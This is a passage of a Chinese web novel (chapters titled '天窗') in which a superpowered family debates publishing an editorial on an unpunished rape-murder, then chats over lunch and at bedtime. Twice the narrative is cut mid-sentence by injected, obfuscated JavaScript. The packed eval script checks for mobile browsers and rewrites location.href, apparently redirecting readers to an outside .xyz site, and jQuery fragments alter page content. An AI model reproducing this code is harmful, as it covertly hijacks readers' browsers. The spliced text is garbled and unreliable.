周五早上十二点,我们居然能在家里见到劳模修兵,这可实在是天方夜谭。 57.22 天窗(2) 不是我疯了,是这世界疯了! “早啊,都在啊——” 修兵和我们打着招呼。但所有人都在震惊中不能自己,一时间居然没有人接话。 “干嘛呢,你们?”直到他再次问起。 我猛地回神,也问他:“修兵,你今天没上班?” “啊,别提了,”修兵说,不仅脚步轻飘,连嗓音都轻飘地不似他本人,“半夜收到消息,有作者涉嫌抄袭,偏偏又是我们新刊物的头版头条……我赶了一夜的稿,不然这一期得开天窗了。” 他打着呵欠,一夜没睡,黑眼圈都挂到了下巴上。当下最需要的是睡眠,而非工作。但谈话间,却磕磕绊绊地为自己冲上了一杯速溶咖啡。 “还没解决吗?”我们都很担心他。 修兵摇头:“时间太紧,连夜调整也没有那么多稿件,只能先把《每周期刊》上的稿件移到这边救急。” “……”那当然是一个可行的办法,但那不叫解决,叫拆西墙补东墙。 我无话可说。我们家实行专款专用制度,就是因为拆西墙补东墙的行为不仅治标不治本,还会掉入鼠目寸光的稀缺陷阱,加剧问题的严重性。 我想,身为我们家财务总管的修兵不是万不得已,不会采取这种应急措施。 这说明一件事:修兵手上没有备用稿件了。 “那《每周期刊》又怎么办?”卡卡西问。 《每周期刊》是修兵所在杂志社的发家刊物,是我们这十八线小城市里炙手可热的文娱类明星产品。 即便之前杂志社大刀阔斧地改革,将旗下几大板块分别成刊——有更受年轻人欢迎的文学向刊物《新小说》,又有主打前段潮流、时尚热点的《新风尚》,有聚焦饕餮盛宴的《新品味》,还有广开言路的《新新闻》……但事实上,六大板块凑一起也只能与其堪堪打个平手。 作为经典刊物,《每周期刊》宝刀不老,以至于历经漫长的时间洗礼,仍是非官方杂志里最具权威性的巅峰之作。当地人无人不知,无人不晓。 《每周期刊》固定每周五截稿,周六印刷,周日对零销商兜售。 眼下已是周五,修兵没有麻烦别人的习惯,挪用的一定是自己的稿件,那就是说,他今天之内必须拿出新的东西,否则《每周期刊》就得开天窗了。 ……情况不妙啊。 一家人难得团聚,气氛却极为凝结。 往常这种时候得指望我,我是修兵最强的后援。但这次我爱莫能助,春季时装发布会已经过了,近来也没有什么新的潮流风向可以作为指引一座城市的风向标。 卡卡西也指望不上,办事处的工作内容只在办事处内部流通,不对外公开。 马尔科更无能为力,学校里新闻不少,但找不出一条足以震撼当地的大新闻。 一家人应该互相帮助。但我们三个一通冥思苦想,最后压力还是给回到修兵。 我们望着他,他却不看我们,始终低着头,盯着脚下的木地板,人静止不动,像一座石雕,唯独握着咖啡杯的手背上暴起了青筋。 “其实,我手上还有一篇文章……”修兵突然开口。 “哈?”我们异口同声。 ——修兵有事啊。 这不同寻常的腔调惊住了我们。话语里处处透露出的古怪,大有一股山雨欲来风满楼的气息。 我本没有心,本不会明白。但他的表现太古怪了,连我都清晰地捕捉到了一触即发的危险,他们两人的面容也不约而同地严肃起来。 “是什么文章?”卡卡西站得笔直,神情庄重。 “是……”修兵欲言又止。 他早有准备,示意卡卡西自己取——在沙发上的公文包里,有一份恭候多时的原稿。 稿件写在去年鹅黄色的复写纸上,修订稿附上了春节火红的限量版信笺,终稿又誊写在开春绿色的稿纸上。 它存在有一些时候了。在阅读前,卡卡西瞥了一眼花花绿绿的稿纸。 那是时间篆刻的记忆。修兵没有否认。 “去年就写好了,”他缓缓说着,“去年……马尔科刚来家里,卡卡西说要去出任务的时候。那天晚上加班,半夜写了这篇稿。” “这么说……”卡卡西眉头一皱,飞快的翻阅起修兵的稿件。 我大概知道修兵要说的是什么了。毕竟那天我们一起过生日,只有一件事可以称得上“大跌眼镜”。 而他再开口,果然说起这件事,和我猜的如出一辙。 “去年……哦,现在是前年……的那场奸杀案,如果不是卡卡西提及,我们都以为它过去了,没有人知道冤案未平,受害者没有沉冤得雪,而加害者仍然逍遥法外!” “但不应该是这样的……”修兵说。 为避免不法分子模仿犯罪,办事处选择不对外公布绝大部分的案件。只有管理员和收约束的能力者可以接触到血腥暴力的一面。而根据保密原则,越是重大的案件,能接触它的人寥寥无几。 这意味着,绝大多数人没有办法实时跟进案件状况。 但人们应该了解。它固然是个人的不幸,也同样是社会的创伤。 “……办事处的出发点是好的,但现在的情况是,它成为了一个问题,”修兵眉头紧锁,口吻严肃而沉重。 去年得知消息时,震惊不由分说地留在我的脑子里,也不由分说地在修兵心里刻上了记号。他分析论证了这个问题,洋洋洒洒写下数万字评论。 “……分析的很到位啊,修兵!”卡卡西赞不绝口,“要解决这个问题,办事处的确应该开放一定的窗口,让大家可以关注到;另外,只有办事处行动起来无妨,如果大家不能真正地保持对社会的关注,窗口即便开放也于事无补。” “对!”修兵也赞同,“应该借助这件事,警醒办事处以及公众,大家要建立起对于受害者的关注链——为此,办事处要开放一定的渠道和窗口;媒体更要起到镜头的作用,要将一些公众事件推入大众的视线。” 这已不是一个简单的事件,而是一个冗杂的事业。 要向办事处提建议,开放窗口,对外宣发,鼓励普通民众关注社会,关注身边人。 但“建议”理应是最简单的——修兵是能力者,他自行报告即可。以我的排名,办事处很快就会开始调研,结果大概率也会听取——倘若只是想要建议,压根无需大费周章。 我想修兵真正想要撬动的支点,恐怕不是建议,而是舆论。 “要把它发在《每周期刊》上吗?”我问他。 “对,”他肯定了我的想法,“正好剩下版面,可以发头版头条。” 我明白了,说来也是。 问题本身不在于办事处是否开放,而在于没有人真情实感地去关注。倘若没有人、没有媒体、没有镜头去追踪,再爆炸性的新闻也如昙花一现,失去了严肃性,变得流于表面。 没有人因此得到教训,发生过的事件也没有起到警示作用。人们不会因为悲痛而团结。每个人都事不关己、高高挂起,那是不对的,谁也不能保证下一个不幸发生在谁身上,群体的漠视无疑是对受害者的二次伤害。 这不应该全是办事处的差事。 世界并不全是管理员和能力者的世界,它和每个人都息息相关。 我明白修兵的意思,过分安逸的生活导致普通人失去了对危机的敏感。 他清楚地看见了这种漠视不利于社会发展,终究会反噬整个社会。他看见了,他没有办法装作看不见。 修兵告诉我们,以一种坐立难安的口吻:“距离事发已经快两年时间了……前阵子我去拜访了受害者的母亲,她比两年前苍老了许多,仍然没有从悲痛中走出来,并且抑郁成疾,现在已经失去了劳动能力。” “你什么时候去的?”卡卡西一愣。 “在你之后,”修兵讲,“你带去的鲜花还没有枯萎,那位女士告诉我了。” “呃……”卡卡西抓了抓头发。 他也去了,只是他没有说。 修兵告诉我们:“过去的两年时间,除了办事处,没有一家社会媒体再去关注受害者母亲的状况,也没有任何社会机构跟进报道。” “漠视无疑是二次伤害,”他和我观点一致,“伤痛不是办事处造成的,当伤痛发生,也不应该只有办事处对此负责,全社会都应该关注和警觉。” 而别的媒体机构没有关注到此事,或许是因为没有了解的途径。 几乎只有前一百位管理员可以接取超S级的任务。而这一百位管理员中,像我们家这样同时在办事处和普通公司工作的,恐怕只此一例。 事实上,如果不是卡卡西恰好接了任务,恰好在我们家,就连我们也不知道详情。 管理员和能力者有别于普通人,力量过分悬殊之下,畏惧必随之发生,两者之间做不到真正的平等。就连我们——我和修兵——作为普通人生活时,也会下意识地不和办事处扯上关系。 更何况普通人呢? “……有关办事处的报道,一般都有办事处的文员书写。非办事处工作人员撰写的文章,在发表前,需要通过办事处的审核呢。”卡卡西摇动着手中那叠厚厚的纸张,“今晚截稿的话,我现在就得送过去了。” “来得及吗?”就连我都不太清楚审核流程。 “当然,”卡卡西自信不已,“一定能赶在截稿前通过。只不过……” 他问修兵—— “送去办事处的稿件,没有撤销的权利。只要我踏出家门,就意味着这篇文章一定会通过,也必须要发布。” “你想好了吗?” 修兵没有回答。他是杂志社的总编辑,这件事他分明知道。 而他握紧了拳头,手背青筋暴起。没有斩钉截铁,只有恐惧和挣扎。 “……如果我不发表评论,别人根本就没有机会知道这些事。” “……我必须要出声,这是我无可推卸的责任和义务。” “……本来就要出声的,你走的那天就写好了,但我一直没有发表。” “我……”他欲言又止,没有给出答案。 谁也没有说话。时钟滴答作响,我们静默着,任沉默振聋发聩。 我知道他在想什么,我能理解他的沉默和挣扎—— 我们来这里,为了过平静的生活。为此我们极少去办事处走动,生活几乎与普通人无异。 但倘若修兵发表了这篇评论——普通人与办事处风马牛不相及,他能提交报告,足以已经说明他不普通。所以这篇文章一发表,固然能极大的推动这项事业的进程。但与此同时,我们也将付出无与伦比的代价。 修兵是能力者一事会被公布。 它会是一记惊雷,炸得我们的生活天翻地覆。 修兵身体僵硬。不是因为熬夜,而是因为这件事本身的重量。 管理员和能力者有别于普通人,两者之间做不到真正的平等。一旦公布修兵的能力者身份,他可能会失去他的编辑事业,可能没有办法再像个普通人一样生活。如果他失去了工作,我们家将失去一切经济来源。 这是一场豪赌。 古往今来,哪有赌徒能做赢家? 时值正午。十二点半的钟声在客厅里回荡。 我们住的房子颇为老旧,瓦片搭砌的屋顶留有一扇不合时宜的天窗。偶尔寂静的深夜里,那扇窗会有繁星照亮。每当文思枯竭,修兵就会望着那扇高高的窗。 那扇窗始终是修兵的最爱,曾经无数次地出现在他自创的歌曲中,承载了他无数的想象。 正午的太阳正在出现在那扇窗上。 阳光倾泻而入,落在修兵肩头。 我想生活就是一场演出。之所以没有舞台,是因为真正的主角不需要舞台,当他站在哪里,那里就是舞台。会有聚光灯主动聚焦于他,追随他、勾勒他,要求世界倾听他内心的独白。 我非常乐意倾听——这很浪漫,不是吗? 光不会滋生衰败和腐朽,只会传递亘古不灭的永恒。 我们等待着他的演出,它将决定我们一家今后的方向。我们在绝对的静默中等待,当救赎的白光刺入天窗,落在他肩上—— 万籁俱寂中,修兵缓缓地抬起了头。 “卡卡西,趁我还没有反悔,你快拿走。” 即便牙齿在犹豫中咯咯作响,短短的话语里,每一个字都充斥着挣扎。他仍然义无反顾地钉在光束里。 “好。家人们,回见~” 卡卡西应下,话毕,头也不回地没入屋外的春光中。 剩下我们仍然在屋里伫立。直到院里传来几声鸟啼,清脆得像流星,倏然划破了这份静谧。 我不知道,我可能的确笑了一下。 修兵绷紧的弦瞬间断掉。他说我—— “你还笑得出来!这篇文章发表了,杂志社的同事都会知道我是能力者,也会知道你是管理员。” “哦,无所谓。”我不以为意。 这里是三个世界的集合,来到这里的每一个人都会开始他们全新的生活。 全新的生活不像从前那样颠沛流离、波澜壮阔,但这就是大家想要的,正因为是大家的期待,世界才会被建设成当下的模样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980511|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >每一个人都期待着平凡简单的生活,而这等幸福的生活一定需要有人去捍卫。 那个人不是你,就是我。如果你我之间一定要有一个人,那我是管理员,我责无旁贷。 是的,我承认,诚然没有一个赌徒会成为最后的赢家。 但我不认为这是一场豪赌。 我想以修兵的能力,他断不至于把自己逼到山穷水尽的境地;我想这是他主动的选择,甚至是他从中作梗,故意空出了这一块足以撼动当地新闻界的“头版头条”。 既然是主动且肯定的选择,那怎么能叫做“赌”? 既然不是“赌”,我们又何从“输”起? “最差”的结局是我们无法再隐藏身份,平凡生活,为此,我们将不得不更换城市、从头再来。但事实层面谈起,留下未必是好;离开也未必是差。未来还没有发生,我们都活在当下。没有发生的事情怎么知道它是好坏呢? 何况好坏也从来是人为的定义,境随心转,变化只在于一念之间。 我只知道,无论如何,修兵的选择并不会影响到卡卡西—— 他是一个真正的工作狂,无论我们去哪里,他都可以找当地办事处接取任务,继续推进他热衷于的工作; 修兵的选择也不会影响到我—— 我不爱出门,不喜欢和陌生人相处,我也不喜欢工作,我喜欢在家躺着。反正是躺着,哪里躺着不是躺着?无所谓,都可以,不影响。 但倘若真到了如此地步,修兵的选择却会影响到马尔科—— 或许我们可以借此机会搬去大城市住,我可以给办事处打报告,送马尔科去更高级的学府深造。 这怎么不能算是一个机遇呢? 说来去大城市生活对卡卡西的任务生涯也有帮助——他喜欢解决麻烦,人越多的地方,麻烦越多。 …… 所以改变从来不是事实层面的问题,只是人心对于未知的困扰。 但我没有心,没有感受,也没有困扰——令修兵坐立难安的情感,并不会束缚我。 我的态度向来明确:变也好,不变也好——无所谓,都可以,不重要。 重要的是心是一种奇妙的东西,一个不会受其困扰的我也会因为“战斗”而疲惫,我听说内心的不宁也是一种无声的战斗,我已经见识过就连卡卡西都会显出疲态,甚至马尔科也会冒出乱七八糟的胡茬。 人不可以没有心呵! 它对于人来说不可或缺,不仅仅是物理意义上—— 人心不宁,人活着,就像死了。他们都知道这个道理,所以才致力于把我的心找回来。 修兵也需要把他的心找回来,好好收藏,小心呵护。 至于生活变或不变,随便、都行、管他呢。不必为未来担忧,办法总比困难多——这就是我的态度——无需恐惧,天塌不了。 只要修兵无愧于自己的选择,天塌下来,也有我顶着。 我顶得住,没什么了不起。 “……那会很麻烦!”即便他提醒我,不要轻视改变。它意味着或许会变好,也意味着或许会变差。 “那又怎样?”我不以为然。 我只是讨厌麻烦,不是逃避责任。 修兵都可以鼓足勇气面对倾覆的风险,我是管理员,我更有责任做好表率。 卡卡西已经行动起来了,我想,我和马尔科也不可以落下。我们得用实际行动表达支持。 “下次被人缠上,你就直接告诉他们你是能力者吧!” 我示意马尔科不必再隐藏了。我们是一家人,如果修兵恐惧未知,担心给大家惹麻烦,我们得为修兵煽风点火,断了他的后路。 不如就公之于众吧!不仅修兵是能力者、还有卡卡西和马尔科,以及作为管理员的我。 我们生来就与众不同。那又怎样?与众不同是我们与生俱来的特质。 风声雨声喧哗声,声声过耳。过耳即是云烟,如梦如幻如泡影,又被雨打风吹去。留下的仍是真实的自我,越经风雨洗涤,越显真知灼见。 ——能怎样? ——难道我就不再是我? 我要掀翻这屋顶,免得修兵为个开窗而忧愁。 “好的,我会的。”马尔科毫不犹豫地答应了。 “——哈?”修兵一头黑线。 “你这样做,马尔科就在学校里交不到朋友了!” “有什么关系,他整天都和我在一起,这样也交不到朋友。” “那你也别跟得太紧啊,”修兵说我。 他已和恐惧斗争了一夜又一夜。他情绪激动,嗓音难以自控地放大。 我们当然不是在吵架,但听起来总归有一点点像是争执。 “不是的,”马尔科忽然挡在了我身前,替我解释道,“跟大小姐没什么关系,是我自己的问题。” “你别袒护她啊,马尔科!” “没有,真是我自己的问题,”他无比诚恳地回答,“我已经不年轻了,和那群小年轻们不怎么聊得来。” “是的。”我承认和我有一点关系,但我不是绝对。 我没有心。但我可以通过他的行为判断,他至今也没有认为那些人是他的朋友。 问题出在年纪和阅历上,而不是区区一个我。我没有必要包揽与我无关的责任,那不是责任,那是麻烦。 我最讨厌麻烦了,可绝不是个自找麻烦的人。 事实不容雄辩。 修兵没有再说我了,在马尔科坦诚的态度里也如出一辙地坦然起来:“好吧。其实我也是在工作以后才交到朋友。” ——即便眼下也不知道还能不能再称之为“朋友”。 他没有说,眼神划过我,我便心领神会。 ——即便我没有心。 “修兵,”我从马尔科身后站出来,“你放心吧——未经审视的HE不是真正的HE!真正的感情一定可以经受住考验!” 昨天我告诉马尔科的话,今天我送给修兵。 真理之所以能成为真理,是因为它是真的——真的假不了,假的也真不了。 “你看我和马尔科——昨天还互相不理睬,今天感情却更好了,对吗?” 我把手塞进他手心。我们从来都牵着手,却从未像这样自然而然的十指紧扣。 “对。”他牵着我,无不肯定地说。 “你看。”我示意修兵。 “你看。”马尔科学我的口吻,同样示意他。 他看着我们久久没有言语。 久久的,终于松了口气。 “……真是服了你了。” 58.22 天窗(3) 门铃声叮咚作响,午饭到了,来得恰如其时。 我们家有许多不成文的规定,大家一起生活得久了,有些事即便嘴上不说,心里也应该懂。只有一条规定明确成文——按时吃饭,天塌下来也不能耽搁吃饭。 起初用来规范我不良生活习惯的条例,时过境迁,已成了一种条件反射。 外卖送来了,马尔科出去领。 我告诉修兵:“点了三份,你帮卡卡西吃。” “什么?”修兵晦暗不清的眼睛一点点找回了焦距。 短暂的等待时间,修兵手脚麻利地收拾好了餐桌,给我准备了刀叉。 这家店太远了,从前都是我和卡卡西顺道去吃,修兵从来没有尝过。我不知道他吃起来是什么滋味? “这个好吃吗?” “味道很独特。这是哪家店的外卖?” “综合超市那家!” “哈?那家不是不送外卖吗?” 他知道的,我们常常和他提起,但碍于过远的距离,修兵总是只能听听而已。 “之前是不送,不过上次我们聊过以后,他决定送了……” “哦?为什么?” 我从不喜欢社交,更讨厌解释,但倘若对象是修兵,我不介意和他说三天三夜。 吃完饭,我把那位自来熟的老板非得拽住我自顾自地说什么“我是给他带来幸运的人”告诉了修兵……他原本只是在品尝一份物美价廉的猪扒饭,听完故事后再一回味,忽然间惊为天人。 “现在很少遇到不为利益折腰的人了,”他眼里又闪起足以燎原的微光,“这样美好的品质,值得赞扬啊!” “是的!”我也这么认为。世上的聪明人太多了,总要有一点追梦的傻子。 “你想采访这个老板吗?” “!”修兵想,“你能帮我引荐吗?” 我果断摇头,刚想说我和他可不熟,完全不认识—— “可以啊,”马尔科搭话,指了指我,示意修兵,“我们大小姐可是老板眼里的‘幸运女神’。刚才我出去领外卖,老板还在问我,为什么没有见到大小姐?” 他见我做什么?我不理解,瞬间愣住了,甚至怀疑马尔科在乱讲。 修兵却了然一笑:“你的确是给他带去‘幸运’的小姐啊……如果他接受我的采访,我可能会考虑给他一个头版,不仅能帮他节省不少广告费,以我们《新风尚》的影响力,还会给带来不俗的流量。” “什么意思?”我糊涂了,《新风尚》是时尚板块,修兵的意思是准备在时尚板块插入美食内容吗? “喔,”修兵后知后觉,告知我,“年前的时装发布会又翻车了,那时我在考虑,固守于时尚领域总是被牵着鼻子走……与其模仿跟随,也不知道对方什么时候翻车,不如自己去创造潮流好了。” “那不正合适吗!”马尔科一拍手,福至心灵一般,复述起半年前我和老板的对白…… 什么“稳定的品质不会带来额外的流量,但会增加顾客粘性,所以要对症下药”——抛开对流量的盲目追求,稳住手上的基本盘——要认清现实; 什么“既然可以接受三十分钟走到店里,也可以接受三十分钟走到取餐点”——解决问题得抓主要矛盾,不要凭空想象,而是真切地理解客户的需求——要深入思考; 什么“并不是送到家门口的才叫外卖”——以满足需求为主,不要拘泥于方式方法——要灵活变通; 什么“保持现状,事情也不会有转机。没有方向的时候,怎么走都是前进”——要放开手脚; …… 我说过吗?我自己都忘了,马尔科如数家珍。 “那天老板来搭讪……大小姐几句话简明扼要地点破了问题所在。老板忘不掉再正常不过了,就连我也留下深刻的印象。” “几句话言简意赅,生动形象……真的很睿智!” 马尔科分明在和修兵说话,但话毕,却把自己说愣住了。 他望着我,那神情晦暗难懂。 我不知道他这是怎么了? “噢……”修兵似乎明白。 “大小姐是说——‘实惠’和‘生意惨淡’之间没有等号,导致生意惨淡的原因是‘距离’。而‘实惠’是他们店立足的基石,它定义了这家店的核心竞争力。如果因为生意惨淡而抛弃实惠,其实本末倒置,如此,即便加入了平台,也失去了核心竞争力,泯然众人矣。” “嗯!”我连连点头。 ——不愧是修兵啊,是的,没错,我当时就是这个意思。 马尔科一通说,反把我说得糊涂。修兵一开口,我想起来了,我全部都想了起来。 我不太会表达,念头在我脑子里闪过,当我脱口,只有那寥寥数语。没有办法将心比心地为别人考虑,说话直接,没有铺垫,横冲直撞。 修兵的解读是对的—— “所以说……他所坚守的理念固然禁锢了店铺发展,但其实也给他带来了另外的可能性。他能改变的部分,别人也能改变;他所坚守的部分,别人却未必能坚守。与其迎合潮流、追逐光明,不如自己成为那道光。” “嗯嗯!”我还是点头。 不愧是修兵啊,真懂我,我的确这样想,我只是不太会说。 事在人为。如果他已经拥有了成功所需要的一切品质,只是差一点运气的话,执着找寻就好了。只要他能秉持如今的心态,坚持运营,即便他最后找不到,运气也会自己来敲门。 因为运气从来都眷顾苦心人。 而如果用尽全力,还没有幸运眷顾,那只说明他并不具备成功所需要的一切品质,他还没有到努力的极限。所谓的“用尽全力”只是自以为是,一厢情愿,是感觉,不是真相。 彼时,我看他状态很好,没什么问题。只要他能保持本心,泼天的富贵是他应得的馈赠。假使不能……那也是他自作自受,路从来在自己的脚下。 此时,时间已经带来了答案。他的坚守等到了修兵的采访,幸运的眷顾犹如水到渠成。 “我记下了,那除了猪扒还有什么推荐吗?” “有的!” 上次他送了我们烟熏香肠和煎蛋,两样都很好吃。这次他又送了,正方便修兵品鉴。 “……唔,”修兵拿出了纸笔,快速记录着。 烟熏香肠徒有其名:虽然叫“烟熏香肠”,但不是纯粹的炭烤口味。只是做出一层“炭烤纹样”的酥脆表皮,内里还是肉质饱满的甜肠,咬一口满嘴爆浆。 煎蛋也不同寻常:形状圆润可爱,火候也好,有平整酥脆的煎底,却没有难看的焦边;鸡蛋被泡制在特别的肉汁里,大概是炼制猪扒酱汁的底料…… ——什么叫默契?这就叫默契! 我脑海中的评价,在修兵的笔下跃然纸上。 “马尔科有什么推介吗?” “没,我也只吃过这两种,甜口,蛮好吃的。” “那我再问问卡卡西好了,他之前吃了很多次……” 永远不要小看一个人的潜力。 聊着天说着话,修兵一改忧愁的姿态,兴致勃勃地研发起了《新风尚》的改版——在此之前,他已经因为一次逼上梁山的经历,开发出了久经不衰的《时尚杂谈》板块。这一次,又是如出一辙的模式。 “上次的烤全羊让我很有感触……这段时间我一直在想一个问题。” “什么问题?” “时尚潮流究竟是什么,它难道不是在基本物质条件满足后,对精神文化的追求吗?” “是啊!” “但现实却是三千块钱足够买到一整头羊,而在所谓的‘潮流风尚’的加持下,我们甚至买不够十斤羊肉汤——理论上它应该是指导人们生活的明灯,但事实上它在生活中似乎只成为溢价的筹码,以至于越是有对丰富精神文化的追求,越是弱化、反噬到基本物质生活水平,呈现出一种‘越追求,生活水平越倒退’的局面?” “这不是一种本末倒置吗?”修兵问我。 “是的!”我举双手赞同。 …… 好熟悉的对话啊! 我有预感,修兵恐怕又要开辟出一个新的王牌板块了。就凭他的专业能力和敬业水平,此处不留爷、自有留爷处,修兵前途无量。 我一点也不担心他的职业道路。 聊着天,修兵一时兴起,赶紧回房间记载思路。空白的稿纸上他笔走龙蛇……等到我再去探视,草稿纸整齐地摞成一叠,修兵趴在桌上,早睡了过去。 窗外春光明媚。 屋里没有暖气,到底有点清冷。 我想给他盖上被子,马尔科比我快一些,给他身上放了一团火。 青蓝的不死之焰无声地燃烧,从晌午到深夜。卡卡西回家了,带回了预料之中的好消息。 “可以发表。” “好吧,那就……”修兵伸着懒腰。 他要连夜排版,赶在明天早上六点前发给印刷厂。后来的事就交给后来,现在工作还没有结束。他才刚睡醒,又为自己冲上了一杯速溶咖啡。 “你们去睡吧。” 修兵招呼我们,自行带上了房门。 门缝里透出一些关不住的亮光,我在客厅驻足,卡卡西从我身边经过,打着呵欠进浴室洗漱。 “今天又没吃到猪扒饭……”我听着他嘀嘀咕咕地说话,后半句没听清。 “睡觉了,大小姐。”马尔科高声呼唤我,他洗漱好了,让我快去。 “……好!” 我把客厅主灯关了,留下一盏走廊的射灯。 明媚的夜晚闪亮有星。星光照不到的地方,灯光会驱逐夜色。卡卡西回房间的路上不会撞到,修兵出门喝水,也足够看清。 “大小姐?” “来了!” 马尔科在床上等我,房间里为我留着一盏不灭的灯火。 我借着它的指引快速洗漱,快速钻进被窝。夜深了。该睡了。我把眼睛合上,听着马尔科怦然有力的心跳声,努力酝酿……不知过了多久,路口又传来惊动声。 我睡不着,索性睁开了眼睛。 ——我这是怎么了? ——是在担心修兵吗? 我不知道,我猜的。我没有心啊,连自己的感受都得连蒙带猜。 我在脑海里疯狂回忆——这种事情以前有没有发生过?有没有什么小说描写过类似的场景?主角是怎么想的,怎么做的?作者又怎样定义的那种行为? …… “你还没睡吗?”马尔科突然问我。 “嗯,睡不着。” “怎么了,在担心修兵吗?” “我不知道,我是在担心吗?”我没有答案,于是我问马尔科。 “……”这个问题把他难住了。马尔科哑口无言,突然在手里生起一簇火。 光把房间点燃。他观察我的神情,一如我没有办法体会,时常观察他那样,仔仔细细打量着我的面容。不多时,终于点头道:“嗯,看起来,是很担忧啊?” “喔,是担心呀……”我把下巴搁在他肩头,说起我另一个猜想,“我还以为是自责。” “自责?”马尔科捏着我下巴,又开始打量,“这么说,好像也有一点?但你在自责什么?” 我示意他留意窗外——路口的狗不再叫了,事实上隔三差五的深夜总得吠上几声。 我曾经以为那奇异的脚步声兴许是哪里的醉汉,此时后知后觉……半年前修兵就写好了文章,他没有说,这半年以来我居然也没有发现。 可我和修兵不是最默契的吗?我为什么没有留意到他心中有事?常常徘徊? “……今晚修兵在家,路口就没有出现那个脚步声。” 我坦言我的最新发现,这个发现多少让我自残形愧。 马尔科神色一震:“你能听见路口的脚步声?!” “可以呀,”我点着头。 那声音多清晰呀!每到万籁俱寂时,或快或慢、或深或浅。 鞋底蹬在柏油马路上摩擦出不同的声响,有的温润、有的尖锐:体重越大,声音越沉重;体重越轻,声音越轻盈;普通人走路声音重;能力者走路,声音轻;像卡卡西这样顶级的忍者走路,在他刻意的伪装下,几乎可以没有声音。 我和他讲述我耳朵里的世界。复杂而精妙,每个人都有自己独特的记号。 马尔科满脸震惊:“我们家距离路口可是一百多米呢,大小姐!” “是呀!” “那么远也能听见?” “可以啊!” 他将信将疑地捂住我的耳朵,絮絮叨叨地开始说话——我能听见的呀,笨蛋马尔科,我都说我能听见了,那么遥远细微的声音都能听见,何况他当面背诵的《药典》。 捂耳朵只对普通人有效,我可是管理员啊,管理员不吃这套。 “听见我刚才说什么了吗?”马尔科问我。 “是什么花?”我分不清,胡乱猜一个,“玫瑰吗?” “!”马尔科眼睛瞪得像铜铃。 我似乎给他带来了极大的震撼,虽然这对我本人来说稀疏平常。 “你真的能听见?”马尔科不断地揉着我的耳朵,自言自语道,“这怎么能听见呢?我之前给你检查身体的时候,也没发现异常啊?这是什么特异能力吗?所有的管理员都像你这样?” “……”他极为兴奋,语速也快,一如枝头叽叽喳喳的小鸟。 过多的问题一瞬间涌向我,像潮水一样将我吞没。 很抱歉,我宕机了。 他需要我的答案,但我蹙着眉头,眼巴巴地望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991461|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他。 我的样子一定很像个“笨蛋”吧?他的问题戛然而止,换作“噗”的一声,人哑然失笑。 “抱歉,我说话太快了是吗?”马尔科摸着我的头,又揉着我的耳朵,笑容非常温和。 “……嗯!”我埋怨他,一点都不为我着想。 他却呵呵笑,越笑越开怀:“对不起,不回答也没有关系,我只是觉得很新奇……还真是一点都不了解你啊,这都半年了,我居然今天才知道大小姐听力敏锐。” 但他现在知道了呀,马尔科很聪明,总是一通百通。 不用我接话,他自然而然地推论道:“过多的声音会分散人的注意力,普通人要像你这样,早就神经衰弱了。你睡觉不踏实,入睡困难,和这个有些关系吧?” “是的。”我只需肯定。 他总是对的—— 我没有心,感官代偿作用下,听觉异常敏锐。无论多么繁杂的环境里,我都能捕捉到悬若游丝的声响。 那些声音总在我耳边回响。事实上,我不喜欢人多的地方,除了和我不喜欢和人相处以外,和我异常敏锐的听力息息相关。 马尔科也猜到了。他揉着我的耳朵,轻声说着:“这么说……人越多的地方,声音也越嘈杂吧?难怪你总是蒙着头睡觉呢。” “是的,”我往他怀里缩了缩,“很吵呢,马尔科。” “那买个耳罩怎么样?” 他在我耳边比划,那种学生们都喜欢的毛茸茸耳罩。价格不贵,也很潮流,在校园里走一圈,十个学生里七八个都带着那种。 “买一个好吗?”马尔科跃跃欲试。起劲的样子和非要给我买小海豚睡衣的卡卡西如出一辙。 我开始害怕了,严令拒绝:“不好!好丑好丑!” “哪里丑了?多可爱啊!” “不可爱!不许买!” 我不要!不要!不要!不要! 我说不过他,眼看他又要开口,我缩进被窝里,不理他了。 马尔科又把我抓出来,放回刚才的位子。 “干什么啊,大小姐,”他又好气又好笑,“不要就不要,干嘛不理人了?” “说了不要!” “啊好好好,不要不要……” 他不说了,箍着我,闷着声笑。 “你笑什么?不许笑!”我捂着他嘴,不让笑。 “好好好,”马尔科不笑了,深吸了一口气,话锋一转,忽然问我,“还是很担心修兵是吗?” 我不知道啊,我得问马尔科:“我还是在担心修兵吗?” 这一次马尔科没有点燃花火细细观察我的神色,直接给出了判定:“嗯,你是啊……好端端的,忽然躲起来不理人……这种情况不就是担心么?” 那样的表现是担心吗?我不知道啊。 我希望他可以说得清楚一点:“马尔科,我没有心,感受不到自己的情绪。” “但你只是感受不到,不是吗?”他告诉我,“情绪是存在的啊,一直都存在……你和修兵还很像,中午那会儿,他一和你说话,声音忽然就变大了……” 马尔科说那代表他压抑的情绪忽然间的倾泻。就在那一瞬间,冲破了理智的阈值,悉数向我涌来。 “是吗?”我感受不到那种“情绪”的宣泄,我只知道他声音变大了。 “是啊,”马尔科肯定,“说明你们关系非常亲密。因为对于陌生人,人们普通倾向于理智和冷静,但对亲密的人,情感才会不自觉地流露。” “哦……”原来如此,我懂了,“你是说恃宠而骄吗?” “什么?”马尔科愣了愣。 “就是‘恃宠而骄’啊!” 小说里经常有啊—— 